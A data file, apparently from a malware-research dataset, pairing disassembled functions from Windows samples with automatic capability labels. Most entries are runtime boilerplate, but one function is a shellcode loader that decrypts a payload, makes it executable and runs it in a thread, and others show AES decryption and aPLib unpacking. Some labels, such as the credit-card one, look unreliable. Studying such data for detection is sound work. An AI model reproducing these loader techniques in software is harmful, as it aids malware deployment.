joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d89e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4d8b3b
sub rsp, 0x70
mov qword [rsp + 0x68], rbp
lea rbp, [rsp + 0x68]
movups xmmword [rsp + 0x40], xmm15
mov qword [rsp + 0x30], 0
mov rax, qword [0x00689ad8]
call fcn.004af960
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x28], rbx
movups xmmword [rsp + 0x50], xmm15
mov qword [rsp + 0x60], 0
lea rcx, [0x004d8b60]
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x60], rcx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x2b
call fcn.00402f00
xorps xmm15, xmm15
mov r14, qword [0x006df120]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rcx, qword [rsp + 0x18]
cmp rcx, 0xffffffffffffffff
je 0x4d8afb
mov rdx, qword [rsp + 0x28]
cmp rdx, rcx
jb 0x4d8b35
mov qword [rsp + 0x20], rcx
mov rsi, qword [rsp + 0x50]
mov rax, qword [rsp + 0x38]
mov rbx, rcx
lea rdx, [rsp + 0x50]
call rsi
mov rax, qword [rsp + 0x20]
lea rcx, [rax + 1]
mov rbx, qword [rsp + 0x28]
cmp rbx, rcx
jb 0x4d8b2a
mov rsi, qword [rsp + 0x50]
sub rbx, rax
dec rbx
mov rdi, rbx
neg rbx
sar rbx, 0x3f
and rcx, rbx
mov r8, qword [rsp + 0x38]
lea rax, [r8 + rcx]
mov rbx, rdi
lea rdx, [rsp + 0x50]
nop
call rsi
mov rcx, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x68]
add rsp, 0x70
ret
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x28]
lea rdx, [rsp + 0x50]
call rcx
mov rcx, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x68]
add rsp, 0x70
ret
mov rax, rcx
mov rcx, rbx
call fcn.004636a0
call fcn.00463620
nop
nop dword [rax + rax]
call fcn.00460f80
jmp fcn.004d89e0
Function at 0x4f4360
Capabilities:
Access peb ldr_data

Disassembly:
lea r12, [rsp - 0x30]
cmp r12, qword [r14 + 0x10]
jbe 0x4f45c1
sub rsp, 0xb0
mov qword [rsp + 0xa8], rbp
lea rbp, [rsp + 0xa8]
test rax, rax
je 0x4f45a5
mov qword [rsp + 0xb8], rax
mov rbx, qword [rax + 8]
mov rdx, qword [rax]
mov rcx, qword [rax + 0x10]
test rbx, rbx
jne 0x4f43ad
xor ebx, ebx
xor ecx, ecx
jmp 0x4f43c0
mov rax, rdx
call fcn.004e58a0
mov rcx, rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x48], rbx
cmp qword [rax + 0x28], 0
je 0x4f44d8
mov rcx, qword [rax + 0x18]
mov rax, rcx
nop
call fcn.004777c0
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x58], rbx
mov rcx, qword [rsp + 0xb8]
mov r8, qword [rcx + 0x20]
mov r9, qword [rcx + 0x28]
mov rcx, qword [rsp + 0x48]
lea rdi, [0x005a0ed0]
mov esi, 1
lea rax, [rsp + 0x68]
mov rbx, qword [rsp + 0x88]
call fcn.0044d760
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x3a
call fcn.00402f00
xorps xmm15, xmm15
mov r14, qword [0x006df120]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
jl 0x4f449b
xor eax, eax
lea rbx, [0x00555363]
mov ecx, 1
mov rdi, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0x60]
lea r8, [0x005553f7]
mov r9d, 2
mov r10, qword [rsp + 0x98]
mov r11, qword [rsp + 0x58]
call fcn.0044d840
jmp 0x4f44c8
xor eax, eax
mov rbx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x60]
lea rdi, [0x005a0f58]
mov esi, 1
mov r8, qword [rsp + 0x98]
mov r9, qword [rsp + 0x58]
call fcn.0044d760
mov rbp, qword [rsp + 0xa8]
add rsp, 0xb0
ret
mov rax, qword [rax + 0x18]
nop dword [rax]
call fcn.004777c0
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x50], rbx
mov rcx, qword [rsp + 0x88]
mov qword [rsp], rcx
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 8], rdx
mov byte [rsp + 0x10], 0x3a
call fcn.00402f00
xorps xmm15, xmm15
mov r14, qword [0x006df120]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
jl 0x4f4568
xor eax, eax
lea rbx, [0x00555363]
mov ecx, 1
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x48]
lea r8, [0x005553f7]
mov r9d, 2
mov r10, qword [rsp + 0x90]
mov r11, qword [rsp + 0x50]
call fcn.0044d840
jmp 0x4f4595
xor eax, eax
mov rbx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x48]
lea rdi, [0x005a0f58]
mov esi, 1
mov r8, qword [rsp + 0x90]
mov r9, qword [rsp + 0x50]
call fcn.0044d760
mov rbp, qword [rsp + 0xa8]
add rsp, 0xb0
ret
lea rax, [0x00555921]
mov ebx, 5
mov rbp, qword [rsp + 0xa8]
add rsp, 0xb0
ret
mov qword [rsp + 8], rax
call fcn.00460f80
mov rax, qword [rsp + 8]
jmp fcn.004f4360
Function at 0x4f8a20
Capabilities:
Parse credit card information

Disassembly:
lea ecx, [rax - 0x61]
cmp cl, 0x19
jbe 0x4f8a38
lea ecx, [rax - 0x41]
cmp cl, 0x19
jbe 0x4f8a38
lea ecx, [rax - 0x30]
cmp cl, 9
ja 0x4f8a40
xor eax, eax
ret
cmp rbx, 3
je 0x4f8a4c
cmp rbx, 4
jne 0x4f8a79
cmp al, 0x2c
ja 0x4f8a66
lea ecx, [rax - 0x21]
cmp cl, 1
jbe 0x4f8a76
cmp al, 0x24
je 0x4f8a76
nop dword [rax]
cmp al, 0x26
jae 0x4f8a76
jmp 0x4f8a79
lea ecx, [rax - 0x3a]
cmp cl, 4
jbe 0x4f8a76
cmp al, 0x5b
je 0x4f8a76
cmp al, 0x5d
jne 0x4f8a79
xor eax, eax
ret
cmp al, 0x2f
ja 0x4f8ab2
nop dword [rax]
cmp al, 0x26
ja 0x4f8a91
cmp al, 0x24
je 0x4f8ad1
cmp al, 0x26
je 0x4f8ad1
jmp 0x4f8b4b
lea ecx, [rax - 0x2b]
cmp cl, 1
jbe 0x4f8ad1
lea ecx, [rax - 0x2d]
nop dword [rax]
cmp cl, 1
jbe 0x4f8b48
cmp al, 0x2f
je 0x4f8ad1
jmp 0x4f8b4b
cmp al, 0x3d
ja 0x4f8ac9
lea ecx, [rax - 0x3a]
cmp cl, 1
jbe 0x4f8ad1
nop
cmp al, 0x3d
je 0x4f8ad1
jmp 0x4f8b4b
lea ecx, [rax - 0x3f]
cmp cl, 1
ja 0x4f8b40
cmp rbx, 2
jg 0x4f8b07
cmp rbx, 1
je 0x4f8b01
nop dword [rax]
cmp rbx, 2
jne 0x4f8b4b
cmp al, 0x2f
je 0x4f8af2
cmp al, 0x3b
je 0x4f8af2
cmp al, 0x2c
jne 0x4f8af9
mov ecx, 1
jmp 0x4f8afe
cmp al, 0x3f
sete cl
mov eax, ecx
ret
cmp al, 0x3f
sete al
ret
cmp rbx, 5
jne 0x4f8b2a
cmp al, 0x40
je 0x4f8b19
cmp al, 0x2f
je 0x4f8b19
cmp al, 0x3f
jne 0x4f8b22
mov ecx, 1
nop
jmp 0x4f8b27
cmp al, 0x3a
sete cl
mov eax, ecx
ret
cmp rbx, 6
je 0x4f8b39
cmp rbx, 7
jne 0x4f8b4b
xor eax, eax
ret
mov eax, 1
ret
cmp al, 0x5f
je 0x4f8b48
cmp al, 0x7e
jne 0x4f8b4b
xor eax, eax
ret
cmp rbx, 7
jne 0x4f8b61
cmp al, 0x21
je 0x4f8b5d
lea ecx, [rax - 0x28]
cmp cl, 2
ja 0x4f8b61
xor eax, eax
nop
ret
mov eax, 1
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14001da20]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14001da30]
mov dword [rax], 1
mov rax, qword [0x14001da40]
mov dword [rax], 1
mov rax, qword [0x14001d9d0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14001da10]
mov dword [0x14002000c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14001dae0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14001dac0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14001d980]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x1400014c0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
mov dword [rsp + 0x78], edx
mov rdi, rcx
mov rbx, r8
mov rsi, r9
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x38]
mov r9d, 0x18
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1400015b8
lea rax, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1400015b8
xor r9d, r9d
mov rcx, qword [rsp + 0x40]
mov r8d, esi
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1400015b8
lea rax, [rsp + 0x48]
xor r9d, r9d
mov r8, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov edx, 0x6610
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x1400015b8
lea rax, [rsp + 0x78]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1400015b8
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor eax, eax
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
mov eax, 0xffffffff
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
Function at 0x1400018e0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001950
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400200c4]
mov rbx, rcx
test esi, esi
jle 0x140001a80
mov rax, qword [0x1400200c8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000199b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001a25
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001980
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001aa2
mov rax, qword [0x1400200c8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400200c8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001a87
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001a1e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001a30
add dword [0x1400200c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400200c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001a1e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1400019a8
mov rax, qword [0x1400200c8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002010
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140020120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020100]
test rbx, rbx
je 0x14000206c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002063
test rsi, rsi
je 0x140002063
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002048
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002280
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002298
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400022a0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400022b0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400022fd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400022f4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400022ff
add rax, 0x28
cmp rax, r9
jne 0x1400022e0
xor eax, eax
ret

Function at 0x140002300
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002390
mov rdx, qword [0x14001d9d0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000237e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000237e
cmp word [rax + 0x18], 0x20b
jne 0x14000237e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002390
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002369
add rbx, 0x28
cmp rbx, rdi
je 0x140002390
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002360
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400023a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14001d9d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400023c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400023c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400023c0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000241d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002414
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400023c0
add rax, 0x28
cmp rax, r9
jne 0x140002400
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14001d9d0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000243f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002448
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000243f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002460
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14001d9d0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002480
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002488
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002480
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400024d0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400024c7
test rcx, rcx
je 0x140002480
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400024b8
xor eax, eax
ret

Function at 0x1400024e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14001d9d0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400024ff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002508
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002520
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14001d9d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002540
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002548
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002540
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002540
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002594
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400025a0
add rdx, 0x28
cmp r9, rdx
jne 0x140002580
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400025b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14001d9d0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400025d2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400025e0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400025d2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400025d2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400025d2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002635
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002648
add rdx, 0x28
cmp rdx, r10
jne 0x140002620
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002657
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002667
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000263e
test ecx, ecx
jg 0x140002650
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140002890
Capabilities:
Create thread

Disassembly:
push rsi
mov eax, 0x19678
push rbx
call fcn.140002680
sub rsp, rax
movups xmmword [rsp + 0x19660], xmm6
lea rbx, [0x140003008]
call dbg.__main
lea rsi, [rsp + 0x60]
movabs rdx, 0xdb697cf6700edd3b
mov r8d, 0x19600
mov rcx, rsi
mov qword [rsp + 0x58], rdx
movabs rax, 0x133e59aa46e9fbfc
lea rdx, section..rdata
mov dword [rsp + 0x3c], 0
mov qword [rsp + 0x50], rax
call sym.memcpy
movabs rax, 0x32336c656e72656b
mov qword [rsp + 0x43], rax
movabs rax, 0x6c6c642e32336c
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov r9d, 0x10
mov edx, 0xc
mov rcx, rbx
lea r8, str.SxRMKDgvAwCYDnR
call sym.XZgZUvqsgny_char__unsigned_long_long__char__int_
movss xmm6, dword [0x14001d634]
movups xmm0, xmm6
call sym.SleepShort_float_
lea rcx, [rsp + 0x43]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x19600
mov qword [0x140020030], rax
call rax
movups xmm0, xmm6
mov rbx, rax
call sym.SleepShort_float_
mov r9d, 0x10
lea r8, [rsp + 0x50]
mov rcx, rsi
mov edx, 0x19600
call sym.ZbIhmJMC_char__unsigned_int__char__unsigned_long_long_
mov rdx, rsi
mov rcx, rbx
mov r8d, 0x19600
call sym.memcpy
movups xmm0, xmm6
call sym.SleepShort_float_
lea r9, [rsp + 0x3c]
mov rcx, rbx
mov r8d, 0x20
mov edx, 0x19600
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, rbx
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
movss xmm0, dword [0x14001d638]
mov rbx, rax
call sym.SleepShort_float_
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
movups xmm6, xmmword [rsp + 0x19660]
xor eax, eax
add rsp, 0x19678
pop rbx
pop rsi
ret
Function at 0x6c24d108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.6c24d28f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x6c24d139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x6c24d11f
add dl, dl
jne 0x6c24d146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x6c24d1a6
xor eax, eax
add dl, dl
jne 0x6c24d155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x6c24d25d
add dl, dl
jne 0x6c24d166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x6c24d173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x6c24d180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x6c24d18d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x6c24d19a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x6c24d12e
mov eax, 1
add dl, dl
jne 0x6c24d1b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x6c24d1c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x6c24d1ab
sub eax, ebx
mov ebx, 1
jne 0x6c24d1fc
mov ecx, 1
add dl, dl
jne 0x6c24d1de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x6c24d1eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x6c24d1d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x6c24d12e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x6c24d218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x6c24d225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x6c24d20d
cmp eax, 0x7d00
jae 0x6c24d24b
cmp eax, 0x500
jb 0x6c24d246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x6c24d12e
cmp eax, 0x7f
ja 0x6c24d24e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x6c24d12e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x6c24d282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x6c24d12e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400111fe
Capabilities:
Terminate process

Disassembly:
jmp 0x140013640
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001128a
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014980
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400149a0
xor al, al
jmp 0x140014a21
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400149b3
xor al, al
jmp 0x140014a21
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400149dd
xor al, al
jmp 0x140014a21
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400149f1
xor al, al
jmp 0x140014a21
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014a03
xor al, al
jmp 0x140014a21
mov eax, 8
imul rax, rax, 0xe
